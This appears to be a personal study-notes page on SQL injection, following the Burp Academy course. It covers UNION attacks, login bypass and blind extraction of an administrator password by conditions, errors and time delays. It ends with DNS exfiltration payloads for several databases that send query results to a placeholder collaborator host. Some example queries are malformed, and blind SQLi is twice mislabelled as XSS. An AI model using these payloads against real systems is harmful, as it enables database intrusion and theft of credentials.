Neocortex 🧠

Search

Search IconIcon to open search

SQL Injection

Last updated Nov 16, 2021 Edit Source

SQL injection vulnerabilities occur when developers fail to properly sanitise the parameters in an SQL query that are provided by users. You can use SQLi to leak data or mess with an application's logic.

# Burp Academy Sections

# Retrieving hidden data

Say a web app runs the following SQL query when the value of the parameter q is %s:

1
SELECT * FROM products WHERE category = '%s' AND released = 1

When a user sends the request with the parameter ?q=Gifts'–= the server runs the SQL query:

1
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

If we want the server to return everything, we can send the request ?q=Gifts'+OR+1=1--

1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

# Messing around with an app's logic

When a web application runs an SQL query when it tries log users in, it might use something like:

1
SELECT * FROM users WHERE username = 'yeet' AND password = 'pass'

An attacker can bypass such a mechanism by sending a request like yeet'-- the app runs following SQL query:

1
SELECT * FROM users WHERE username = 'yeet'--' AND password = 'pass'

# Getting data from other tables

You can use the operator to retrieve data from other tables. Here is an example for ?q=Gifts' UNION SELECT * FROM users--

1
SELECT * FROM users WHERE username = 'Gifts' UNION SELECT * FROM users--' AND password = 'pass'

# Examining the databse in cases of SQLi

You can use the information~schema~.tables to get a list of tables from the database ans SELECT * FROM v$version to get the database version

# Blind SQL injection

When you don't see data being reflected to you, there still might be SQL injection vulnerabilities.

# UNION Attacks

The UNION operator in SQL is used to combine/concatenate the results of two queries into one. For a UNION query to b valid, two conditions must be met:

Therefore, to carry out a successful UNION based attack you must know how many columns are being returned by the database and which columns in the query have a suitable type with your injected query.

# Determining the number of columns

You can use two methods to figure out the number of columns:

  1. ORDER BY

    You can make several order by queries and the number of columns that the query has is one less than the value of the ORDER BY query we ran. For instance if an app throws an error at ORDER BY 6, than it has 5 columns.

  2. UNION

    You can also use the UNION operator with n number of NULL fields. The application throws an error until the number of NULL fields in the UNION SELECT match exactly the number of columns in the original query.

# Figuring out column types

In order to detect data types of columns, we can again use the UNION operator after determining the number of columns. You can use NULL fields and add a field of known type, checking for errors. If no errors occurs, than that column's data type is that field. An example sequence of test requests could look like:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

# Retrieving Multiple Values in a Single Column in UNION Attacks

You can use concatenation techniques to combine two columns of data into one.

# Blind SQL Injection

Sometimes SQL injection vulnerabilities might occur even if you don't see the output of the queries you run. In those cases, it can be tested by using SLEEP operators, conditional responses and external service interaction.

# Using Conditional Responses

In MySQL you can use SUBSTRING operator to compare a character at a certain point, for instance you can use the following SQL query to check whether the first char of password is less than k:

1
SELECT * FROM sessions WHERE cookie='xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's'-- AND username='yeet'

You can also figure out the length of a response by using:

1
SELECT * FROM sessions WHERE cookie='xyz' AND (SELECT 'a' FROM Users WHERE Username = 'Administrator' AND LENGTH(Password)>1)='a'-- AND username='yeet'

You can use the Burp Suite's Cluster Bomb attack type to exploit blind XSS.

# Conditional Responses Using Errors

If the previous method doesn't work, we can induce an error in the target system if an error a different response to be returned by the server. Here is an example

1
SELECT * FROM sessions WHERE cookie='xyz' AND (SELECT CASE WHEN (SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a' WHEN Username = 'Administrator' -- AND username='yeet'

If the first character is greater than 1, the SQL query tries to divide by 0 which throws an error. There are different methods and techniques you can use for each database type.

# Using Time Delays

If a web application doesn't reflect any indication about the query, we can still create conditionals time delays on the servers, and this can be used to leak information. When you use Burp Suite to exploit time-based blind XSS, you must force intruder to run in single-threaded mode.

1
SELECT * FROM sessions WHERE cookie='xyz'; IF SELECT CASE WHEN (SUBSTRING(Password, 1, 1) > 'm') THEN sleep(10) ELSE sleep(0) END FROM Users WHEN Username = 'Administrator' -- AND username='yeet'

Of course, the techniques to trigger time delays may differ between different database types.

# Blind SQL injection with Out-Of-Band techniques

In the cases where no info about the result of the output is reflected in the response and the server runs the query asynchronously, there is no way to detect whether your injection was successful. In those cases, you can trigger out-of-band network interactions with the query to test whether your injection was successful. Combining this interaction with conditions, you can leak data. The techniques to trigger such interactions change drastically depending on the type of database being used in the back-end server, you can find a list of database-specific payloads in [DNS Data Exfiltration]{.spurious-link target=“DNS Data Exfiltration”}

# Second Order SQL injection

Sometimes a web application records data sent by a user and saves ot temporarily, afterwards, perhaps after a certain amount of time, it uses this user input without sanitizing it in an SQL Query. This is called a second order SQL injection and can be detected using [Blind SQL injection with Out-Of-Band techniques]{.spurious-link target="*Blind SQL injection with Out-Of-Band techniques"}.

# Tips & Tricks

# String concatenation

# Substring

# Comments

# Get Version

# Database Content

# Conditional errors

# Stacking Queries

# Delays

# Conditional Delays

# DNS Lookup

1
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

OR

1
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')

# DNS Data Exfiltration

  1. Oracle

    1
    
    SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
    
  2. Microsoft

    1
    
    declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
    
  3. PostgreSQL

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    --create OR replace function f() returns void as $$
    declare c text;
    declare p text;
    begin
    SELECT into p (SELECT YOUR-QUERY-HERE);
    c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
    execute c;
    END;
    $$ language plpgsql security definer;
    SELECT f();
    
  4. MySQL

    1
    2
    
    -- WINDOWS ONLY
    SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
    

Interactive Graph